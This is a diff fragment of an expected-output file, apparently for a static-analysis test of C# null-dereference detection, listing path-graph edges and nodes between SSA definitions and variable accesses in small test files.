+| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:16:386:17 | access to parameter e1 |
+| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:27:386:28 | access to parameter e2 |
+| E.cs:384:27:384:28 | access to parameter e2 | E.cs:384:13:384:36 | [false] ... && ... |
+| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i |
+| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i |
+| E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i |
+| E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i |
+| E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i |
+| E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... |
+| E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s |
+| F.cs:7:16:7:23 | SSA def(o) | F.cs:8:9:8:9 | access to local variable o |
+| Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... |
+| Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... |
+| Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... |
+| Forwarding.cs:19:9:22:9 | if (...) ... | Forwarding.cs:19:13:19:23 | [false] !... |
+| Forwarding.cs:19:13:19:23 | [false] !... | Forwarding.cs:24:9:27:9 | if (...) ... |
+| Forwarding.cs:24:9:27:9 | if (...) ... | Forwarding.cs:29:9:32:9 | if (...) ... |
+| Forwarding.cs:29:9:32:9 | if (...) ... | Forwarding.cs:34:9:37:9 | if (...) ... |
+| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:35:9:37:9 | {...} |
+| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:36:31:36:31 | access to local variable s |
+| Forwarding.cs:35:9:37:9 | {...} | Forwarding.cs:40:27:40:27 | access to local variable s |
+| GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:9:13:9:36 | [false] !... |
+| GuardedString.cs:9:13:9:36 | [false] !... | GuardedString.cs:14:9:17:9 | if (...) ... |
+| GuardedString.cs:14:9:17:9 | if (...) ... | GuardedString.cs:14:13:14:41 | [false] !... |
+| GuardedString.cs:14:13:14:41 | [false] !... | GuardedString.cs:19:9:20:40 | if (...) ... |
+| GuardedString.cs:19:9:20:40 | if (...) ... | GuardedString.cs:19:26:19:26 | 0 |
+| GuardedString.cs:19:26:19:26 | 0 | GuardedString.cs:22:9:23:40 | if (...) ... |
+| GuardedString.cs:22:9:23:40 | if (...) ... | GuardedString.cs:22:25:22:25 | 0 |
+| GuardedString.cs:22:25:22:25 | 0 | GuardedString.cs:25:9:26:40 | if (...) ... |
+| GuardedString.cs:25:9:26:40 | if (...) ... | GuardedString.cs:25:26:25:26 | 0 |
+| GuardedString.cs:25:26:25:26 | 0 | GuardedString.cs:28:9:29:40 | if (...) ... |
+| GuardedString.cs:28:9:29:40 | if (...) ... | GuardedString.cs:28:25:28:26 | 10 |
+| GuardedString.cs:28:25:28:26 | 10 | GuardedString.cs:31:9:32:40 | if (...) ... |
+| GuardedString.cs:31:9:32:40 | if (...) ... | GuardedString.cs:31:26:31:27 | 10 |
+| GuardedString.cs:31:26:31:27 | 10 | GuardedString.cs:34:9:37:40 | if (...) ... |
+| GuardedString.cs:34:9:37:40 | if (...) ... | GuardedString.cs:34:26:34:26 | 0 |
+| GuardedString.cs:34:26:34:26 | 0 | GuardedString.cs:35:31:35:31 | access to local variable s |
+| NullAlwaysBad.cs:7:29:7:29 | SSA param(s) | NullAlwaysBad.cs:9:30:9:30 | access to parameter s |
+| NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o |
+| Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args |
+| StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:15:16:15:16 | access to local variable s |
+| StringConcatenation.cs:15:16:15:16 | access to local variable s | StringConcatenation.cs:16:17:16:17 | access to local variable s |
nodes
| A.cs:7:16:7:40 | SSA def(synchronizedAlways) |
| A.cs:8:15:8:32 | access to local variable synchronizedAlways |
@@ -415,6 +895,8 @@ nodes
| E.cs:435:29:435:29 | SSA param(s) |
| E.cs:437:13:437:21 | [true] ... is ... |
| E.cs:439:13:439:13 | access to parameter s |
+| F.cs:7:16:7:23 | SSA def(o) |
+| F.cs:8:9:8:9 | access to local variable o |
| Forwarding.cs:7:16:7:23 | SSA def(s) |
| Forwarding.cs:9:13:9:30 | [false] !... |
| Forwarding.cs:14:9:17:9 | if (...) ... |
@@ -452,482 +934,3 @@ nodes
| StringConcatenation.cs:14:16:14:23 | SSA def(s) |
| StringConcatenation.cs:15:16:15:16 | access to local variable s |
| StringConcatenation.cs:16:17:16:17 | access to local variable s |
-edges
-| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:8:15:8:32 | access to local variable synchronizedAlways |
-| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:10:13:10:30 | access to local variable synchronizedAlways |
-| A.cs:16:15:16:30 | SSA def(arrayNull) | A.cs:17:9:17:17 | access to local variable arrayNull |
-| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:31:27:31:37 | access to local variable arrayAccess |
-| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:36:27:36:37 | access to local variable arrayAccess |
-| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:32:27:32:37 | access to local variable fieldAccess |
-| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:37:27:37:37 | access to local variable fieldAccess |
-| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:33:28:33:39 | access to local variable methodAccess |
-| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:38:15:38:26 | access to local variable methodAccess |
-| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:34:27:34:36 | access to local variable methodCall |
-| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:39:27:39:36 | access to local variable methodCall |
-| A.cs:48:16:48:28 | SSA def(varRef) | A.cs:50:9:50:14 | access to local variable varRef |
-| Assert.cs:13:9:13:25 | [b (line 7): false] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s |
-| Assert.cs:13:9:13:25 | [b (line 7): true] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s |
-| Assert.cs:21:9:21:25 | [b (line 7): false] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s |
-| Assert.cs:21:9:21:25 | [b (line 7): true] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s |
-| Assert.cs:29:9:29:25 | [b (line 7): false] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s |
-| Assert.cs:29:9:29:25 | [b (line 7): true] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s |
-| Assert.cs:45:9:45:25 | [b (line 7): true] SSA def(s) | Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b |
-| Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | Assert.cs:47:27:47:27 | access to local variable s |
-| Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... |
-| Assert.cs:49:9:49:25 | [b (line 7): true] SSA def(s) | Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b |
-| Assert.cs:50:24:50:38 | [false] ... \|\| ... | Assert.cs:51:27:51:27 | access to local variable s |
-| Assert.cs:50:37:50:38 | [false] !... | Assert.cs:50:24:50:38 | [false] ... \|\| ... |
-| Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | Assert.cs:50:37:50:38 | [false] !... |
-| B.cs:7:11:7:29 | SSA def(eqCallAlways) | B.cs:13:13:13:24 | access to local variable eqCallAlways |
-| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:13:13:13:36 | ...; |
-| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:15:9:16:26 | if (...) ... |
-| B.cs:13:13:13:36 | ...; | B.cs:15:9:16:26 | if (...) ... |
-| B.cs:15:9:16:26 | if (...) ... | B.cs:16:13:16:26 | ...; |
-| B.cs:15:9:16:26 | if (...) ... | B.cs:18:9:20:26 | if (...) ... |
-| B.cs:16:13:16:26 | ...; | B.cs:18:9:20:26 | if (...) ... |
-| B.cs:18:9:20:26 | if (...) ... | B.cs:18:25:18:27 | {...} |
-| B.cs:18:9:20:26 | if (...) ... | B.cs:20:13:20:26 | ...; |
-| B.cs:18:25:18:27 | {...} | B.cs:22:9:24:37 | if (...) ... |
-| B.cs:20:13:20:26 | ...; | B.cs:22:9:24:37 | if (...) ... |
-| B.cs:22:9:24:37 | if (...) ... | B.cs:24:13:24:25 | access to local variable neqCallAlways |
-| C.cs:10:16:10:23 | SSA def(o) | C.cs:11:17:11:28 | [false] !... |
-| C.cs:11:13:11:30 | [false] !... | C.cs:16:9:19:9 | if (...) ... |
-| C.cs:11:15:11:29 | [true] !... | C.cs:11:13:11:30 | [false] !... |
-| C.cs:11:17:11:28 | [false] !... | C.cs:11:15:11:29 | [true] !... |
-| C.cs:16:9:19:9 | if (...) ... | C.cs:16:13:16:24 | [true] !... |
-| C.cs:16:13:16:24 | [true] !... | C.cs:18:13:18:13 | access to local variable o |
-| C.cs:40:13:40:35 | SSA def(s) | C.cs:42:9:42:9 | access to local variable s |
-| C.cs:55:13:55:36 | SSA def(o2) | C.cs:57:9:57:10 | access to local variable o2 |
-| C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 |
-| C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 |
-| C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o |
-| C.cs:94:13:94:45 | SSA def(o) | C.cs:96:13:96:13 | access to local variable o |
-| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list |
-| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list |
-| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:103:22:103:22 | Int32 x |
-| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:106:13:106:16 | access to parameter list |
-| C.cs:103:22:103:22 | Int32 x | C.cs:103:9:107:9 | foreach (... ... in ...) ... |
-| C.cs:103:27:103:30 | access to parameter list | C.cs:103:9:107:9 | foreach (... ... in ...) ... |
-| C.cs:159:9:159:16 | SSA def(s) | C.cs:162:13:162:13 | access to local variable s |
-| C.cs:167:9:167:16 | SSA def(s) | C.cs:170:13:170:13 | access to local variable s |
-| C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s |
-| C.cs:193:9:193:16 | SSA def(s) | C.cs:196:13:196:13 | access to local variable s |
-| C.cs:197:13:197:20 | [b (line 192): true] SSA def(s) | C.cs:196:13:196:13 | access to local variable s |
-| C.cs:201:16:201:19 | true | C.cs:203:13:203:13 | access to local variable s |
-| C.cs:204:13:204:20 | SSA def(s) | C.cs:201:16:201:19 | true |
-| C.cs:210:13:210:35 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... |
-| C.cs:214:13:214:20 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... |
-| C.cs:217:9:218:25 | if (...) ... | C.cs:218:13:218:13 | access to local variable s |
-| C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s |
-| C.cs:229:22:229:22 | access to local variable s | C.cs:233:9:233:9 | access to local variable s |
-| C.cs:229:33:229:40 | SSA def(s) | C.cs:229:22:229:22 | access to local variable s |
-| C.cs:235:14:235:21 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s |
-| C.cs:235:24:235:24 | access to local variable s | C.cs:237:13:237:13 | access to local variable s |
-| C.cs:235:35:235:42 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s |
-| C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s |
-| C.cs:248:15:248:22 | SSA def(a) | C.cs:249:9:249:9 | access to local variable a |
-| C.cs:257:15:257:23 | SSA def(ia) | C.cs:260:9:260:10 | access to local variable ia |
-| C.cs:257:15:257:23 | SSA def(ia) | C.cs:263:9:263:10 | access to local variable ia |
-| C.cs:258:18:258:26 | SSA def(sa) | C.cs:261:20:261:21 | access to local variable sa |
-| C.cs:258:18:258:26 | SSA def(sa) | C.cs:264:16:264:17 | access to local variable sa |
-| D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param |
-| D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param |
-| D.cs:58:13:58:41 | SSA def(o5) | D.cs:61:9:62:26 | if (...) ... |
-| D.cs:61:9:62:26 | if (...) ... | D.cs:62:13:62:14 | access to local variable o5 |
-| D.cs:68:13:68:34 | SSA def(o7) | D.cs:69:18:69:36 | ... && ... |
-| D.cs:69:18:69:36 | ... && ... | D.cs:73:13:73:14 | access to local variable o7 |
-| D.cs:75:13:75:34 | SSA def(o8) | D.cs:76:34:76:35 | 42 |
-| D.cs:76:21:76:43 | ... ? ... : ... | D.cs:79:9:80:26 | if (...) ... |
-| D.cs:76:34:76:35 | 42 | D.cs:76:21:76:43 | ... ? ... : ... |
-| D.cs:79:9:80:26 | if (...) ... | D.cs:81:9:82:26 | if (...) ... |
-| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:14 | access to local variable o8 |
-| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:26 | ...; |
-| D.cs:81:9:82:26 | if (...) ... | D.cs:83:9:84:26 | if (...) ... |
-| D.cs:82:13:82:26 | ...; | D.cs:83:9:84:26 | if (...) ... |
-| D.cs:83:9:84:26 | if (...) ... | D.cs:84:13:84:14 | access to local variable o8 |
-| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs |
-| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:22 | ...; |
-| D.cs:89:15:89:44 | SSA def(xs) | D.cs:93:9:94:30 | if (...) ... |
-| D.cs:91:13:91:22 | ...; | D.cs:93:9:94:30 | if (...) ... |
-| D.cs:93:9:94:30 | if (...) ... | D.cs:94:13:94:30 | ...; |
-| D.cs:93:9:94:30 | if (...) ... | D.cs:94:21:94:22 | access to local variable xs |
-| D.cs:93:9:94:30 | if (...) ... | D.cs:96:9:99:9 | if (...) ... |
-| D.cs:94:13:94:30 | ...; | D.cs:96:9:99:9 | if (...) ... |
-| D.cs:96:9:99:9 | if (...) ... | D.cs:97:9:99:9 | {...} |
-| D.cs:96:9:99:9 | if (...) ... | D.cs:98:21:98:22 | access to local variable xs |
-| D.cs:96:9:99:9 | if (...) ... | D.cs:101:9:102:35 | if (...) ... |
-| D.cs:97:9:99:9 | {...} | D.cs:101:9:102:35 | if (...) ... |
-| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs |
-| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs |
-| D.cs:101:9:102:35 | if (...) ... | D.cs:104:9:106:30 | if (...) ... |
-| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:102:26:102:26 | Int32 _ |
-| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:104:9:106:30 | if (...) ... |
-| D.cs:102:26:102:26 | Int32 _ | D.cs:102:13:102:35 | foreach (... ... in ...) ... |
-| D.cs:102:31:102:32 | access to local variable xs | D.cs:102:13:102:35 | foreach (... ... in ...) ... |
-| D.cs:104:9:106:30 | if (...) ... | D.cs:105:19:105:20 | access to local variable xs |
-| D.cs:104:9:106:30 | if (...) ... | D.cs:106:17:106:18 | access to local variable xs |
-| D.cs:118:9:118:30 | SSA def(x) | D.cs:120:13:120:13 | access to local variable x |
-| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 |
-| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 |
-| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:32:127:32 | 0 |
-| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:36:127:36 | access to parameter a |
-| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 |
-| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 |
-| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:36:128:36 | access to parameter b |
-| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... |
-| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... |
-| D.cs:127:36:127:36 | access to parameter a | D.cs:127:20:127:43 | ... ? ... : ... |
-| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} |
-| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} |
-| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:138:9:138:18 | ... ...; |
-| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... |
-| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... |
-| D.cs:128:36:128:36 | access to parameter b | D.cs:128:20:128:43 | ... ? ... : ... |
-| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i |
-| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i |
-| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} |
-| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} |
-| D.cs:132:29:132:29 | access to local variable i | D.cs:134:24:134:24 | access to parameter a |
-| D.cs:132:29:132:29 | access to local variable i | D.cs:135:24:135:24 | access to parameter b |
-| D.cs:132:29:132:29 | access to local variable i | D.cs:138:9:138:18 | ... ...; |
-| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i |
-| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i |
-| D.cs:138:9:138:18 | ... ...; | D.cs:142:13:142:22 | ...; |
-| D.cs:142:13:142:22 | ...; | D.cs:143:9:146:9 | for (...;...;...) ... |
-| D.cs:143:9:146:9 | for (...;...;...) ... | D.cs:143:25:143:25 | access to local variable i |
-| D.cs:143:25:143:25 | access to local variable i | D.cs:144:9:146:9 | {...} |
-| D.cs:143:25:143:25 | access to local variable i | D.cs:145:20:145:20 | access to parameter a |
-| D.cs:144:9:146:9 | {...} | D.cs:143:25:143:25 | access to local variable i |
-| D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj |
-| D.cs:163:16:163:25 | SSA def(obj) | D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} |
-| D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | D.cs:168:26:168:26 | [exception: Exception] Exception e |
-| D.cs:168:26:168:26 | [exception: Exception] Exception e | D.cs:171:9:171:11 | access to local variable obj |
-| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:29:241:32 | null |
-| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:36:241:37 | "" |
-| D.cs:241:21:241:37 | ... ? ... : ... | D.cs:244:9:247:25 | if (...) ... |
-| D.cs:241:29:241:32 | null | D.cs:241:21:241:37 | ... ? ... : ... |
-| D.cs:241:36:241:37 | "" | D.cs:241:21:241:37 | ... ? ... : ... |
-| D.cs:244:9:247:25 | if (...) ... | D.cs:245:13:245:13 | access to local variable o |
-| D.cs:244:9:247:25 | if (...) ... | D.cs:247:13:247:13 | access to local variable o |
-| D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 |
-| D.cs:258:16:258:23 | SSA def(o) | D.cs:266:9:267:25 | if (...) ... |
-| D.cs:266:9:267:25 | if (...) ... | D.cs:266:13:266:27 | [true] ... is ... |
-| D.cs:266:13:266:27 | [true] ... is ... | D.cs:267:13:267:13 | access to local variable o |
-| D.cs:269:9:269:16 | SSA def(o) | D.cs:272:25:272:25 | access to local variable i |
-| D.cs:272:25:272:25 | access to local variable i | D.cs:273:9:288:9 | {...} |
-| D.cs:272:25:272:25 | access to local variable i | D.cs:290:9:291:25 | if (...) ... |
-| D.cs:272:39:272:39 | access to local variable i | D.cs:272:25:272:25 | access to local variable i |
-| D.cs:273:9:288:9 | {...} | D.cs:281:13:287:13 | if (...) ... |
-| D.cs:281:13:287:13 | if (...) ... | D.cs:272:39:272:39 | access to local variable i |
-| D.cs:283:17:283:24 | SSA def(o) | D.cs:285:28:285:30 | {...} |
-| D.cs:283:17:283:24 | SSA def(o) | D.cs:286:17:286:30 | ...; |
-| D.cs:285:28:285:30 | {...} | D.cs:286:17:286:30 | ...; |
-| D.cs:286:17:286:30 | ...; | D.cs:272:39:272:39 | access to local variable i |
-| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:13 | access to local variable o |
-| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:25 | ...; |
-| D.cs:290:9:291:25 | if (...) ... | D.cs:293:9:294:25 | if (...) ... |
-| D.cs:291:13:291:25 | ...; | D.cs:293:9:294:25 | if (...) ... |
-| D.cs:293:9:294:25 | if (...) ... | D.cs:294:13:294:13 | access to local variable o |
-| D.cs:296:16:296:26 | SSA def(prev) | D.cs:297:25:297:25 | access to local variable i |
-| D.cs:297:25:297:25 | access to local variable i | D.cs:298:9:302:9 | {...} |
-| D.cs:298:9:302:9 | {...} | D.cs:300:17:300:20 | access to local variable prev |
-| D.cs:304:16:304:23 | SSA def(s) | D.cs:307:13:311:13 | foreach (... ... in ...) ... |
-| D.cs:307:13:311:13 | foreach (... ... in ...) ... | D.cs:312:13:313:29 | if (...) ... |
-| D.cs:312:13:313:29 | if (...) ... | D.cs:312:17:312:23 | [true] !... |
-| D.cs:312:17:312:23 | [true] !... | D.cs:313:17:313:17 | access to local variable s |
-| D.cs:316:16:316:23 | SSA def(r) | D.cs:318:16:318:19 | access to local variable stat |
-| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... |
-| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:41:318:44 | access to local variable stat |
-| D.cs:318:16:318:62 | [false] ... && ... | D.cs:324:9:324:9 | access to local variable r |
-| D.cs:318:41:318:44 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... |
-| D.cs:351:15:351:22 | SSA def(a) | D.cs:355:9:356:21 | for (...;...;...) ... |
-| D.cs:355:9:356:21 | for (...;...;...) ... | D.cs:355:25:355:25 | access to local variable i |
-| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:13 | access to local variable a |
-| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:21 | ...; |
-| D.cs:356:13:356:21 | ...; | D.cs:355:25:355:25 | access to local variable i |
-| D.cs:360:20:360:30 | SSA def(last) | D.cs:361:29:361:29 | access to local variable i |
-| D.cs:361:29:361:29 | access to local variable i | D.cs:363:13:363:16 | access to local variable last |
-| D.cs:366:15:366:47 | SSA def(b) | D.cs:367:13:367:56 | [false] ... && ... |
-| D.cs:367:13:367:56 | [false] ... && ... | D.cs:370:9:373:9 | for (...;...;...) ... |
-| D.cs:370:9:373:9 | for (...;...;...) ... | D.cs:370:25:370:25 | access to local variable i |
-| D.cs:370:25:370:25 | access to local variable i | D.cs:371:9:373:9 | {...} |
-| D.cs:370:25:370:25 | access to local variable i | D.cs:372:13:372:13 | access to local variable b |
-| D.cs:371:9:373:9 | {...} | D.cs:370:25:370:25 | access to local variable i |
-| D.cs:378:19:378:28 | SSA def(ioe) | D.cs:382:9:385:27 | if (...) ... |
-| D.cs:382:9:385:27 | if (...) ... | D.cs:385:13:385:15 | access to local variable ioe |
-| D.cs:388:36:388:36 | SSA param(a) | D.cs:390:32:390:32 | 0 |
-| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:32:390:32 | 0 |
-| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:36:390:36 | access to parameter a |
-| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i |
-| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i |
-| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... |
-| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... |
-| D.cs:390:36:390:36 | access to parameter a | D.cs:390:20:390:43 | ... ? ... : ... |
-| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} |
-| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} |
-| D.cs:393:21:393:21 | access to local variable i | D.cs:395:20:395:20 | access to parameter a |
-| D.cs:393:21:393:21 | access to local variable i | D.cs:397:9:397:44 | ... ...; |
-| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i |
-| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i |
-| D.cs:397:9:397:44 | ... ...; | D.cs:397:32:397:32 | 0 |
-| D.cs:397:20:397:43 | ... ? ... : ... | D.cs:398:21:398:21 | access to local variable i |
-| D.cs:397:32:397:32 | 0 | D.cs:397:20:397:43 | ... ? ... : ... |
-| D.cs:398:21:398:21 | access to local variable i | D.cs:399:9:401:9 | {...} |
-| D.cs:398:21:398:21 | access to local variable i | D.cs:400:20:400:20 | access to parameter b |
-| D.cs:399:9:401:9 | {...} | D.cs:398:21:398:21 | access to local variable i |
-| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... |
-| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... |
-| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... |
-| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... |
-| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... |
-| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... |
-| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... |
-| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... |
-| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x |
-| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x |
-| D.cs:407:42:407:42 | access to parameter x | D.cs:407:42:407:63 | [false] ... && ... |
-| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y |
-| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y |
-| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... |
-| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... |
-| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... |
-| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... |
-| D.cs:409:9:410:25 | if (...) ... | D.cs:410:13:410:13 | access to parameter y |
-| D.cs:409:9:410:25 | if (...) ... | D.cs:411:9:412:25 | if (...) ... |
-| D.cs:411:9:412:25 | if (...) ... | D.cs:412:13:412:13 | access to parameter x |
-| E.cs:9:18:9:26 | SSA def(a2) | E.cs:10:22:10:54 | ... && ... |
-| E.cs:10:22:10:54 | ... && ... | E.cs:12:38:12:39 | access to local variable a2 |
-| E.cs:11:16:11:24 | SSA def(a3) | E.cs:12:22:12:52 | ... && ... |
-| E.cs:12:22:12:52 | ... && ... | E.cs:14:13:14:14 | access to local variable a3 |
-| E.cs:23:13:23:30 | SSA def(s1) | E.cs:24:33:24:36 | null |
-| E.cs:24:18:24:41 | ... ? ... : ... | E.cs:26:9:27:26 | if (...) ... |
-| E.cs:24:33:24:36 | null | E.cs:24:18:24:41 | ... ? ... : ... |
-| E.cs:26:9:27:26 | if (...) ... | E.cs:27:13:27:14 | access to local variable s1 |
-| E.cs:51:22:51:33 | SSA def(slice) | E.cs:53:16:53:19 | access to local variable iter |
-| E.cs:53:16:53:19 | access to local variable iter | E.cs:54:9:63:9 | {...} |
-| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:17 | access to local variable slice |
-| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:27 | ...; |
-| E.cs:61:13:61:27 | ...; | E.cs:53:16:53:19 | access to local variable iter |
-| E.cs:66:40:66:42 | SSA param(arr) | E.cs:70:13:70:50 | ...; |
-| E.cs:66:40:66:42 | SSA param(arr) | E.cs:72:9:73:23 | if (...) ... |
-| E.cs:70:13:70:50 | ...; | E.cs:70:36:70:36 | 0 |
-| E.cs:70:22:70:49 | ... ? ... : ... | E.cs:72:9:73:23 | if (...) ... |
-| E.cs:70:36:70:36 | 0 | E.cs:70:22:70:49 | ... ? ... : ... |
-| E.cs:72:9:73:23 | if (...) ... | E.cs:73:13:73:15 | access to parameter arr |
-| E.cs:107:15:107:25 | SSA def(arr2) | E.cs:111:9:112:30 | for (...;...;...) ... |
-| E.cs:111:9:112:30 | for (...;...;...) ... | E.cs:111:25:111:25 | access to local variable i |
-| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:16 | access to local variable arr2 |
-| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:30 | ...; |
-| E.cs:112:13:112:30 | ...; | E.cs:111:25:111:25 | access to local variable i |
